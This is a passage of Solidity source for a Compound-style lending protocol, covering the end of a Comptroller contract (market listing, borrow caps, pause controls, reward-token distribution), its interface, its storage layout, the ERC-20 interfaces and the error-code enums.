uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa;
// Set liquidation incentive to new incentive
liquidationIncentiveMantissa = newLiquidationIncentiveMantissa;
// Emit event with old incentive, new incentive
emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Add the market to the markets mapping and set it as listed
* @dev Admin function to set isListed and add support for the market
* @param cToken The address of the market (token) to list
* @return uint 0=success, otherwise a failure. (See enum Error for details)
*/
function _supportMarket(CToken cToken) external returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK);
}
if (markets[address(cToken)].isListed) {
return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS);
}
cToken.isCToken(); // Sanity check to make sure its really a CToken
markets[address(cToken)] = Market({isListed: true, isComped: false, collateralFactorMantissa: 0});
_addMarketInternal(address(cToken));
emit MarketListed(cToken);
return uint(Error.NO_ERROR);
}
function _addMarketInternal(address cToken) internal {
for (uint i = 0; i < allMarkets.length; i ++) {
require(allMarkets[i] != CToken(cToken), "market already added");
}
allMarkets.push(CToken(cToken));
}
/**
* @notice Set the given borrow caps for the given cToken markets. Borrowing that brings total borrows to or above borrow cap will revert.
* @dev Admin or borrowCapGuardian function to set the borrow caps. A borrow cap of 0 corresponds to unlimited borrowing.
* @param cTokens The addresses of the markets (tokens) to change the borrow caps for
* @param newBorrowCaps The new borrow cap values in underlying to be set. A value of 0 corresponds to unlimited borrowing.
*/
function _setMarketBorrowCaps(CToken[] calldata cTokens, uint[] calldata newBorrowCaps) external {
require(msg.sender == admin || msg.sender == borrowCapGuardian, "not an admin");
uint numMarkets = cTokens.length;
uint numBorrowCaps = newBorrowCaps.length;
require(numMarkets != 0 && numMarkets == numBorrowCaps, "invalid input");
for(uint i = 0; i < numMarkets; i++) {
borrowCaps[address(cTokens[i])] = newBorrowCaps[i];
emit NewBorrowCap(cTokens[i], newBorrowCaps[i]);
}
}
/**
* @notice Admin function to change the Borrow Cap Guardian
* @param newBorrowCapGuardian The address of the new Borrow Cap Guardian
*/
function _setBorrowCapGuardian(address newBorrowCapGuardian) external {
require(msg.sender == admin, "not an admin");
// Save current value for inclusion in log
address oldBorrowCapGuardian = borrowCapGuardian;
// Store borrowCapGuardian with value newBorrowCapGuardian
borrowCapGuardian = newBorrowCapGuardian;
// Emit NewBorrowCapGuardian(OldBorrowCapGuardian, NewBorrowCapGuardian)
emit NewBorrowCapGuardian(oldBorrowCapGuardian, newBorrowCapGuardian);
}
/**
* @notice Admin function to change the Pause Guardian
* @param newPauseGuardian The address of the new Pause Guardian
* @return uint 0=success, otherwise a failure. (See enum Error for details)
*/
function _setPauseGuardian(address newPauseGuardian) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK);
}
// Save current value for inclusion in log
address oldPauseGuardian = pauseGuardian;
// Store pauseGuardian with value newPauseGuardian
pauseGuardian = newPauseGuardian;
// Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian)
emit NewPauseGuardian(oldPauseGuardian, pauseGuardian);
return uint(Error.NO_ERROR);
}
function _setMintPaused(CToken cToken, bool state) public returns (bool) {
require(markets[address(cToken)].isListed, "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "not an admin");
mintGuardianPaused[address(cToken)] = state;
emit ActionPaused(cToken, "Mint", state);
return state;
}
function _setBorrowPaused(CToken cToken, bool state) public returns (bool) {
require(markets[address(cToken)].isListed, "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "not an admin");
borrowGuardianPaused[address(cToken)] = state;
emit ActionPaused(cToken, "Borrow", state);
return state;
}
function _setTransferPaused(bool state) public returns (bool) {
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "not an admin");
transferGuardianPaused = state;
emit ActionPaused("Transfer", state);
return state;
}
function _setSeizePaused(bool state) public returns (bool) {
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "not an admin");
seizeGuardianPaused = state;
emit ActionPaused("Seize", state);
return state;
}
function _become(Unitroller unitroller) public {
require(msg.sender == unitroller.admin(), "only unitroller admin can change brains");
require(unitroller._acceptImplementation() == 0, "change not authorized");
}
/**
* @notice Checks caller is admin, or this contract is becoming the new implementation
*/
function adminOrInitializing() internal view returns (bool) {
return msg.sender == admin || msg.sender == comptrollerImplementation;
}
/*** Comp Distribution ***/
/**
* @notice Recalculate and update COMP speeds for all COMP markets
*/
function refreshCompSpeeds() public {
require(msg.sender == tx.origin, "only externally owned accounts may refresh speeds");
refreshCompSpeedsInternal();
}
function refreshCompSpeedsInternal() internal {
CToken[] memory allMarkets_ = allMarkets;
for (uint i = 0; i < allMarkets_.length; i++) {
CToken cToken = allMarkets_[i];
Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()});
updateCompSupplyIndex(address(cToken));
updateCompBorrowIndex(address(cToken), borrowIndex);
}
Exp memory totalUtility = Exp({mantissa: 0});
Exp[] memory utilities = new Exp[](allMarkets_.length);
for (uint i = 0; i < allMarkets_.length; i++) {
CToken cToken = allMarkets_[i];
if (markets[address(cToken)].isComped) {
Exp memory assetPrice = Exp({mantissa: oracle.getUnderlyingPrice(cToken)});
Exp memory utility = mul_(assetPrice, cToken.totalBorrows());
utilities[i] = utility;
totalUtility = add_(totalUtility, utility);
}
}
for (uint i = 0; i < allMarkets_.length; i++) {
CToken cToken = allMarkets[i];
uint newSpeed = totalUtility.mantissa > 0 ? mul_(compRate, div_(utilities[i], totalUtility)) : 0;
compSpeeds[address(cToken)] = newSpeed;
emit CompSpeedUpdated(cToken, newSpeed);
}
}
/**
* @notice Accrue COMP to the market by updating the supply index
* @param cToken The market whose supply index to update
*/
function updateCompSupplyIndex(address cToken) internal {
CompMarketState storage supplyState = compSupplyState[cToken];
uint supplySpeed = compSpeeds[cToken];
uint blockNumber = getBlockNumber();
uint deltaBlocks = sub_(blockNumber, uint(supplyState.block));
if (deltaBlocks > 0 && supplySpeed > 0) {
uint supplyTokens = CToken(cToken).totalSupply();
uint compAccrued = mul_(deltaBlocks, supplySpeed);
Double memory ratio = supplyTokens > 0 ? fraction(compAccrued, supplyTokens) : Double({mantissa: 0});
Double memory index = add_(Double({mantissa: supplyState.index}), ratio);
compSupplyState[cToken] = CompMarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(blockNumber, "block number exceeds 32 bits")
});
} else if (deltaBlocks > 0) {
supplyState.block = safe32(blockNumber, "block number exceeds 32 bits");
}
}
/**
* @notice Accrue COMP to the market by updating the borrow index
* @param cToken The market whose borrow index to update
*/
function updateCompBorrowIndex(address cToken, Exp memory marketBorrowIndex) internal {
CompMarketState storage borrowState = compBorrowState[cToken];
uint borrowSpeed = compSpeeds[cToken];
uint blockNumber = getBlockNumber();
uint deltaBlocks = sub_(blockNumber, uint(borrowState.block));
if (deltaBlocks > 0 && borrowSpeed > 0) {
uint borrowAmount = div_(CToken(cToken).totalBorrows(), marketBorrowIndex);
uint compAccrued = mul_(deltaBlocks, borrowSpeed);
Double memory ratio = borrowAmount > 0 ? fraction(compAccrued, borrowAmount) : Double({mantissa: 0});
Double memory index = add_(Double({mantissa: borrowState.index}), ratio);
compBorrowState[cToken] = CompMarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(blockNumber, "block number exceeds 32 bits")
});
} else if (deltaBlocks > 0) {
borrowState.block = safe32(blockNumber, "block number exceeds 32 bits");
}
}
/**
* @notice Calculate COMP accrued by a supplier and possibly transfer it to them
* @param cToken The market in which the supplier is interacting
* @param supplier The address of the supplier to distribute COMP to
*/
function distributeSupplierComp(address cToken, address supplier, bool distributeAll) internal {
CompMarketState storage supplyState = compSupplyState[cToken];
Double memory supplyIndex = Double({mantissa: supplyState.index});
Double memory supplierIndex = Double({mantissa: compSupplierIndex[cToken][supplier]});
compSupplierIndex[cToken][supplier] = supplyIndex.mantissa;
if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) {
supplierIndex.mantissa = compInitialIndex;
}
Double memory deltaIndex = sub_(supplyIndex, supplierIndex);
uint supplierTokens = CToken(cToken).balanceOf(supplier);
uint supplierDelta = mul_(supplierTokens, deltaIndex);
uint supplierAccrued = add_(compAccrued[supplier], supplierDelta);
compAccrued[supplier] = transferComp(supplier, supplierAccrued, distributeAll ? 0 : compClaimThreshold);
emit DistributedSupplierComp(CToken(cToken), supplier, supplierDelta, supplyIndex.mantissa);
}
/**
* @notice Calculate COMP accrued by a borrower and possibly transfer it to them
* @dev Borrowers will not begin to accrue until after the first interaction with the protocol.
* @param cToken The market in which the borrower is interacting
* @param borrower The address of the borrower to distribute COMP to
*/
function distributeBorrowerComp(address cToken, address borrower, Exp memory marketBorrowIndex, bool distributeAll) internal {
CompMarketState storage borrowState = compBorrowState[cToken];
Double memory borrowIndex = Double({mantissa: borrowState.index});
Double memory borrowerIndex = Double({mantissa: compBorrowerIndex[cToken][borrower]});
compBorrowerIndex[cToken][borrower] = borrowIndex.mantissa;
if (borrowerIndex.mantissa > 0) {
Double memory deltaIndex = sub_(borrowIndex, borrowerIndex);
uint borrowerAmount = div_(CToken(cToken).borrowBalanceStored(borrower), marketBorrowIndex);
uint borrowerDelta = mul_(borrowerAmount, deltaIndex);
uint borrowerAccrued = add_(compAccrued[borrower], borrowerDelta);
compAccrued[borrower] = transferComp(borrower, borrowerAccrued, distributeAll ? 0 : compClaimThreshold);
emit DistributedBorrowerComp(CToken(cToken), borrower, borrowerDelta, borrowIndex.mantissa);
}
}
/**
* @notice Transfer COMP to the user, if they are above the threshold
* @dev Note: If there is not enough COMP, we do not perform the transfer all.
* @param user The address of the user to transfer COMP to
* @param userAccrued The amount of COMP to (possibly) transfer
* @return The amount of COMP which was NOT transferred to the user
*/
function transferComp(address user, uint userAccrued, uint threshold) internal returns (uint) {
if (userAccrued >= threshold && userAccrued > 0) {
Dop dop = Dop(getCompAddress());
uint bloRemaining = dop.balanceOf(address(this));
if (userAccrued <= bloRemaining) {
dop.transfer(user, userAccrued);
return 0;
}
}
return userAccrued;
}
/**
* @notice Claim all the comp accrued by holder in all markets
* @param holder The address to claim COMP for
*/
function claimComp(address holder) public {
return claimComp(holder, allMarkets);
}
/**
* @notice Claim all the comp accrued by holder in the specified markets
* @param holder The address to claim COMP for
* @param cTokens The list of markets to claim COMP in
*/
function claimComp(address holder, CToken[] memory cTokens) public {
address[] memory holders = new address[](1);
holders[0] = holder;
claimComp(holders, cTokens, true, true);
}
/**
* @notice Claim all comp accrued by the holders
* @param holders The addresses to claim COMP for
* @param cTokens The list of markets to claim COMP in
* @param borrowers Whether or not to claim COMP earned by borrowing
* @param suppliers Whether or not to claim COMP earned by supplying
*/
function claimComp(address[] memory holders, CToken[] memory cTokens, bool borrowers, bool suppliers) public {
for (uint i = 0; i < cTokens.length; i++) {
CToken cToken = cTokens[i];
require(markets[address(cToken)].isListed, "market must be listed");
if (borrowers == true) {
Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()});
updateCompBorrowIndex(address(cToken), borrowIndex);
for (uint j = 0; j < holders.length; j++) {
distributeBorrowerComp(address(cToken), holders[j], borrowIndex, true);
}
}
if (suppliers == true) {
updateCompSupplyIndex(address(cToken));
for (uint j = 0; j < holders.length; j++) {
distributeSupplierComp(address(cToken), holders[j], true);
}
}
}
}
/*** Comp Distribution Admin ***/
/**
* @notice Set the COMP token address
* @param _comp The COMP address
*/
function _setCompAddress(address _comp) public {
require(msg.sender == admin, "not an admin");
comp = _comp;
}
/**
* @notice Set the amount of COMP distributed per block
* @param compRate_ The amount of COMP wei per block to distribute
*/
function _setCompRate(uint compRate_) public {
require(adminOrInitializing(), "not an admin");
uint oldRate = compRate;
compRate = compRate_;
emit NewCompRate(oldRate, compRate_);
refreshCompSpeedsInternal();
}
/**
* @notice Add markets to compMarkets, allowing them to earn COMP in the flywheel
* @param cTokens The addresses of the markets to add
*/
function _addCompMarkets(address[] memory cTokens) public {
require(adminOrInitializing(), "not an admin");
for (uint i = 0; i < cTokens.length; i++) {
_addCompMarketInternal(cTokens[i]);
}
refreshCompSpeedsInternal();
}
function _addCompMarketInternal(address cToken) internal {
Market storage market = markets[cToken];
require(market.isListed == true, "comp market is not listed");
require(market.isComped == false, "comp market already added");
market.isComped = true;
emit MarketComped(CToken(cToken), true);
if (compSupplyState[cToken].index == 0 && compSupplyState[cToken].block == 0) {
compSupplyState[cToken] = CompMarketState({
index: compInitialIndex,
block: safe32(getBlockNumber(), "block number exceeds 32 bits")
});
}
if (compBorrowState[cToken].index == 0 && compBorrowState[cToken].block == 0) {
compBorrowState[cToken] = CompMarketState({
index: compInitialIndex,
block: safe32(getBlockNumber(), "block number exceeds 32 bits")
});
}
}
/**
* @notice Remove a market from compMarkets, preventing it from earning COMP in the flywheel
* @param cToken The address of the market to drop
*/
function _dropCompMarket(address cToken) public {
require(msg.sender == admin, "not an admin");
Market storage market = markets[cToken];
require(market.isComped == true, "market is not a comp market");
market.isComped = false;
emit MarketComped(CToken(cToken), false);
refreshCompSpeedsInternal();
}
/**
* @notice Return all of the markets
* @dev The automatic getter may be used to access an individual market.
* @return The list of market addresses
*/
function getAllMarkets() public view returns (CToken[] memory) {
return allMarkets;
}
function getBlockNumber() public view returns (uint) {
return block.number;
}
/**
* @notice Return the address of the COMP token
* @return The address of COMP
*/
function getCompAddress() public view returns (address) {
return comp;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract ComptrollerInterface {
/// @notice Indicator that this is a Comptroller contract (for inspection)
bool public constant isComptroller = true;
/*** Assets You Are In ***/
function enterMarkets(address[] calldata cTokens) external virtual returns (uint[] memory);
function exitMarket(address cToken) external virtual returns (uint);
/*** Policy Hooks ***/
function mintAllowed(address cToken, address minter, uint mintAmount) external virtual returns (uint);
function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external virtual;
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external virtual returns (uint);
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external virtual;
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external virtual returns (uint);
function borrowVerify(address cToken, address borrower, uint borrowAmount) external virtual;
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint repayAmount) external virtual returns (uint);
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint repayAmount,
uint borrowerIndex) external virtual;
function liquidateBorrowAllowed(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external virtual returns (uint);
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount,
uint seizeTokens) external virtual;
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external virtual returns (uint);
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external virtual;
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external virtual returns (uint);
function transferVerify(address cToken, address src, address dst, uint transferTokens) external virtual;
/*** Liquidity/Liquidation Calculations ***/
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint repayAmount) external virtual returns (uint, uint);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./CToken.sol";
import "./PriceOracle.sol";
contract UnitrollerAdminStorage {
/**
* @notice Administrator for this contract
*/
address public admin;
/**
* @notice Pending administrator for this contract
*/
address public pendingAdmin;
/**
* @notice Active brains of Unitroller
*/
address public comptrollerImplementation;
/**
* @notice Pending brains of Unitroller
*/
address public pendingComptrollerImplementation;
}
contract ComptrollerV1Storage is UnitrollerAdminStorage {
/**
* @notice Oracle which gives the price of any given asset
*/
PriceOracle public oracle;
/**
* @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow
*/
uint public closeFactorMantissa;
/**
* @notice Multiplier representing the discount on collateral that a liquidator receives
*/
uint public liquidationIncentiveMantissa;
/**
* @notice Max number of assets a single account can participate in (borrow or use as collateral)
*/
uint public maxAssets;
/**
* @notice Per-account mapping of "assets you are in", capped by maxAssets
*/
mapping(address => CToken[]) public accountAssets;
}
contract ComptrollerV2Storage is ComptrollerV1Storage {
struct Market {
/// @notice Whether or not this market is listed
bool isListed;
/**
* @notice Multiplier representing the most one can borrow against their collateral in this market.
* For instance, 0.9 to allow borrowing 90% of collateral value.
* Must be between 0 and 1, and stored as a mantissa.
*/
uint collateralFactorMantissa;
/// @notice Per-market mapping of "accounts in this asset"
mapping(address => bool) accountMembership;
/// @notice Whether or not this market receives COMP
bool isComped;
}
/**
* @notice Official mapping of cTokens -> Market metadata
* @dev Used e.g. to determine if a market is supported
*/
mapping(address => Market) public markets;
/**
* @notice The Pause Guardian can pause certain actions as a safety mechanism.
* Actions which allow users to remove their own assets cannot be paused.
* Liquidation / seizing / transfer can only be paused globally, not by market.
*/
address public pauseGuardian;
bool public _mintGuardianPaused;
bool public _borrowGuardianPaused;
bool public transferGuardianPaused;
bool public seizeGuardianPaused;
mapping(address => bool) public mintGuardianPaused;
mapping(address => bool) public borrowGuardianPaused;
}
contract ComptrollerV3Storage is ComptrollerV2Storage {
struct CompMarketState {
/// @notice The market's last updated compBorrowIndex or compSupplyIndex
uint224 index;
/// @notice The block number the index was last updated at
uint32 block;
}
/// @notice A list of all markets
CToken[] public allMarkets;
/// @notice The rate at which the flywheel distributes COMP, per block
uint public compRate;
/// @notice The portion of compRate that each market currently receives
mapping(address => uint) public compSpeeds;
/// @notice The COMP market supply state for each market
mapping(address => CompMarketState) public compSupplyState;
/// @notice The COMP market borrow state for each market
mapping(address => CompMarketState) public compBorrowState;
/// @notice The COMP borrow index for each market for each supplier as of the last time they accrued COMP
mapping(address => mapping(address => uint)) public compSupplierIndex;
/// @notice The COMP borrow index for each market for each borrower as of the last time they accrued COMP
mapping(address => mapping(address => uint)) public compBorrowerIndex;
/// @notice The COMP accrued but not yet transferred to each user
mapping(address => uint) public compAccrued;
}
contract ComptrollerV4Storage is ComptrollerV3Storage {
// @notice The borrowCapGuardian can set borrowCaps to any number for any market. Lowering the borrow cap could disable borrowing on the given market.
address public borrowCapGuardian;
// @notice Borrow caps enforced by borrowAllowed for each cToken address. Defaults to zero which corresponds to unlimited borrowing.
mapping(address => uint) public borrowCaps;
// address of comp token
address public comp;
}
contract ComptrollerV5Storage is ComptrollerV4Storage {
/// @notice The portion of COMP that each contributor receives per block
mapping(address => uint) public compContributorSpeeds;
/// @notice Last block at which a contributor's COMP rewards have been allocated
mapping(address => uint) public lastContributorBlock;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title ERC 20 Token Standard Interface
* https://eips.ethereum.org/EIPS/eip-20
*/
interface EIP20Interface {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return balance The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return success Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external returns (bool success);
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return success Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external returns (bool success);
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return success Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return remaining The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
interface EIP20NonStandardInterface {
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return balance The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transferFrom(address src, address dst, uint256 amount) external;
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved
* @return success Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return remaining The number of tokens allowed to be spent
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
contract ComptrollerErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
COMPTROLLER_MISMATCH,
INSUFFICIENT_SHORTFALL,
INSUFFICIENT_LIQUIDITY,
INVALID_CLOSE_FACTOR,
INVALID_COLLATERAL_FACTOR,
INVALID_LIQUIDATION_INCENTIVE,
MARKET_NOT_ENTERED, // no longer possible
MARKET_NOT_LISTED,
MARKET_ALREADY_LISTED,
MATH_ERROR,
NONZERO_BORROW_BALANCE,
PRICE_ERROR,
REJECTION,
SNAPSHOT_ERROR,
TOO_MANY_ASSETS,
TOO_MUCH_REPAY
}
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,
EXIT_MARKET_BALANCE_OWED,
EXIT_MARKET_REJECTION,
SET_CLOSE_FACTOR_OWNER_CHECK,
SET_CLOSE_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_NO_EXISTS,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_WITHOUT_PRICE,
SET_IMPLEMENTATION_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_VALIDATION,
SET_MAX_ASSETS_OWNER_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_PENDING_IMPLEMENTATION_OWNER_CHECK,
SET_PRICE_ORACLE_OWNER_CHECK,
SUPPORT_MARKET_EXISTS,
SUPPORT_MARKET_OWNER_CHECK,
SET_PAUSE_GUARDIAN_OWNER_CHECK
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint error, uint info, uint detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
contract TokenErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
BAD_INPUT,
COMPTROLLER_REJECTION,
COMPTROLLER_CALCULATION_ERROR,
INTEREST_RATE_MODEL_ERROR,
INVALID_ACCOUNT_PAIR,
INVALID_CLOSE_AMOUNT_REQUESTED,
INVALID_COLLATERAL_FACTOR,
MATH_ERROR,
MARKET_NOT_FRESH,
MARKET_NOT_LISTED,
TOKEN_INSUFFICIENT_ALLOWANCE,
TOKEN_INSUFFICIENT_BALANCE,
TOKEN_INSUFFICIENT_CASH,
TOKEN_TRANSFER_IN_FAILED,
TOKEN_TRANSFER_OUT_FAILED
}
/*
* Note: FailureInfo (but not Error) is kept in alphabetical order
* This is because FailureInfo grows significantly faster, and
* the order of Error has some meaning, while the order of FailureInfo
* is entirely arbitrary.
*/
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED,
ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED,
ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED,
BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
BORROW_ACCRUE_INTEREST_FAILED,
BORROW_CASH_NOT_AVAILABLE,
BORROW_FRESHNESS_CHECK,
BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
BORROW_MARKET_NOT_LISTED,
BORROW_COMPTROLLER_REJECTION,
LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED,
LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED,
LIQUIDATE_COLLATERAL_FRESHNESS_CHECK,
LIQUIDATE_COMPTROLLER_REJECTION,
LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED,
LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX,
LIQUIDATE_CLOSE_AMOUNT_IS_ZERO,
LIQUIDATE_FRESHNESS_CHECK,
LIQUIDATE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_REPAY_BORROW_FRESH_FAILED,
LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED,
LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED,
LIQUIDATE_SEIZE_COMPTROLLER_REJECTION,
LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_SEIZE_TOO_MUCH,
MINT_ACCRUE_INTEREST_FAILED,
MINT_COMPTROLLER_REJECTION,
MINT_EXCHANGE_CALCULATION_FAILED,
MINT_EXCHANGE_RATE_READ_FAILED,
MINT_FRESHNESS_CHECK,
MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
MINT_TRANSFER_IN_FAILED,
MINT_TRANSFER_IN_NOT_POSSIBLE,
REDEEM_ACCRUE_INTEREST_FAILED,
REDEEM_COMPTROLLER_REJECTION,
REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,
REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED,
REDEEM_EXCHANGE_RATE_READ_FAILED,
REDEEM_FRESHNESS_CHECK,
REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
REDEEM_TRANSFER_OUT_NOT_POSSIBLE,
REDUCE_RESERVES_ACCRUE_INTEREST_FAILED,
REDUCE_RESERVES_ADMIN_CHECK,
REDUCE_RESERVES_CASH_NOT_AVAILABLE,
REDUCE_RESERVES_FRESH_CHECK,
REDUCE_RESERVES_VALIDATION,
REPAY_BEHALF_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_COMPTROLLER_REJECTION,
REPAY_BORROW_FRESHNESS_CHECK,
REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COMPTROLLER_OWNER_CHECK,
SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED,
SET_INTEREST_RATE_MODEL_FRESH_CHECK,
SET_INTEREST_RATE_MODEL_OWNER_CHECK,
